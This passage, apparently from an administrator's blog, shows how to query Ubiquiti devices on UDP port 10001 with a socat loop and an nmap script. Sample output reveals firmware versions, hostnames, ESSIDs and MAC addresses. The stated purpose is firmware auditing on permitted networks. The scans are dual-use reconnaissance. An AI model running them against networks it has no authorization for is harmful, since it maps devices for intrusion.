         echo -ne "\x01\x00\x00\x00" | socat -t 1 udp:$ip:10001 - | hexdump -C
done

------ 192.168.10.50 ------
00000000  01 00 00 9a 01 00 06 fc  ec da c4 6e 55 02 00 0a  |...........nU...|
00000010  fc ec da c4 6e 55 c0 a8  0a 32 02 00 0a fc ec da  |....nU...2......|
00000020  c4 6e 55 a9 fe 6e 55 03  00 22 57 41 2e 61 72 39  |.nU..nU.."WA.ar9|
00000030  33 34 78 2e 76 38 2e 35  2e 38 2e 33 38 38 34 35  |34x.v8.5.8.38845|
00000040  2e 31 38 30 39 31 38 2e  31 30 31 36 0a 00 04 00  |.180918.1016....|
00000050  af 11 86 0b 00 06 4f 66  66 69 63 65 0c 00 03 4e  |......Office...N|
00000060  35 4c 0d 00 09 64 65 61  74 68 32 61 6c 6c 0e 00  |5L...death2all..|
00000070  01 03 10 00 02 e7 fa 13  00 06 fc ec da c4 6e 55  |..............nU|
00000080  14 00 14 4e 61 6e 6f 53  74 61 74 69 6f 6e 20 35  |...NanoStation 5|
00000090  41 43 20 6c 6f 63 6f 18  00 04 00 00 00 00        |AC loco.......|
0000009e

------ 192.168.10.51 ------
00000000  01 00 00 9b 01 00 06 fc  ec da c4 77 0b 02 00 0a  |...........w....|
00000010  fc ec da c4 77 0b c0 a8  0a 33 02 00 0a fc ec da  |....w....3......|
00000020  c4 77 0b a9 fe 77 0b 03  00 23 57 41 2e 61 72 39  |.w...w...#WA.ar9|
00000030  33 34 78 2e 76 38 2e 35  2e 31 31 2e 33 39 38 34  |34x.v8.5.11.3984|
00000040  32 2e 31 39 30 31 30 39  2e 31 34 34 39 0a 00 04  |2.190109.1449...|
00000050  00 00 08 29 0b 00 06 47  61 72 61 67 65 0c 00 03  |...)...Garage...|
00000060  4e 35 4c 0d 00 09 64 65  61 74 68 32 61 6c 6c 0e  |N5L...death2all.|
00000070  00 01 02 10 00 02 e7 fa  13 00 06 fc ec da c4 77  |...............w|
00000080  0b 14 00 14 4e 61 6e 6f  53 74 61 74 69 6f 6e 20  |....NanoStation |
00000090  35 41 43 20 6c 6f 63 6f  18 00 04 00 00 00 00     |5AC loco.......|
0000009f

Look for outdated or mismatched firmware

I find this useful on customer networks. It lets me quickly check for outdated or mismatched firmware versions.


for ip in 192.168.10.{50..51}
 do
         echo "------ ${ip} ------" 
         echo -ne "\x01\x00\x00\x00" | socat -t 1 udp:$ip:10001 - | hexdump -C | grep v
done
------ 192.168.10.50 ------
00000030  33 34 78 2e 76 38 2e 35  2e 38 2e 33 38 38 34 35  |34x.v8.5.8.38845|
------ 192.168.10.51 ------
00000030  33 34 78 2e 76 38 2e 35  2e 31 31 2e 33 39 38 34  |34x.v8.5.11.3984|

Nmap
There is an Nmap script for Ubiquiti Discovery - ubiquiti-discovery.nse. It pulls down more information than the bash script and will work on Windows. The home page for the script is here.

You will need to download two files from the nmap repository:

On Windows
Save tableaux.lua to c:\Program Files (x86)\nselib
Save ubiquiti-discovery.nse to c:\Program Files (x86)\scripts

On Linux, as root
Save tableaux.lua to /usr/share/nmap/nselib
Save ubiquiti-discovery.nse to /usr/share/nmap/scripts

sudo nmap -sU -p 10001 --script ubiquiti-discovery.nse -oG ubnt 192.168.10.50

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-10 22:16 PST
Nmap scan report for 192.168.10.50
Host is up (0.0027s latency).

PORT      STATE SERVICE
10001/udp open  ubiquiti-discovery
| ubiquiti-discovery: 
|   protocol: v1
|   firmware: WA.ar934x.v8.5.11.39842.190109.1449
|   version: v8.5.11
|   uptime_seconds: 196320
|   uptime: 2 days 06:32:00
|   hostname: Office
|   product: N5L
|   essid: death2all
|   model: NanoStation 5AC loco
|   interface_to_ip: 
|     fc:ec:da:c4:6e:55: 
|       192.168.10.50
|       169.254.110.85
|   mac_addresses: 
|_    fc:ec:da:c4:6e:55
MAC Address: FC:EC:DA:C4:6E:55 (Ubiquiti Networks)
Service Info: OS: Linux

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

On Linux, If you want to compare the firmware of more than one device:

sudo nmap -sU -p 10001 --script ubiquiti-discovery.nse -oG ubnt 192.168.10.50-51 | grep firmware
|   firmware: WA.ar934x.v8.5.11.39842.190109.1449
|   firmware: WA.ar934x.v8.5.11.39842.190109.1449


Remember, as always, only run discovery scripts on networks you have explicit permission on.


References

Understanding Ubiquiti Discovery Service Exposures
Rapid7 Sonar Project
Understanding UDP Amplification Vulnerabilities
Add Metasploit module to discover Ubiquiti devices
UDP broadcasts on port 10001 - Ubiquiti KB on disabling discovery protocol
EdgeRouter - Ubiquiti Device Discovery - Ubiquiti KB on disabling discovery protocol on routers
Security Now show notes - Search for ubiquiti
hexdump command in Linux with examples
socat: The General Bidirectional Pipe Handler
Source Code Beautifier - Used to create the code blocks in this blog
Shodan - Search Engine for the Internet of Things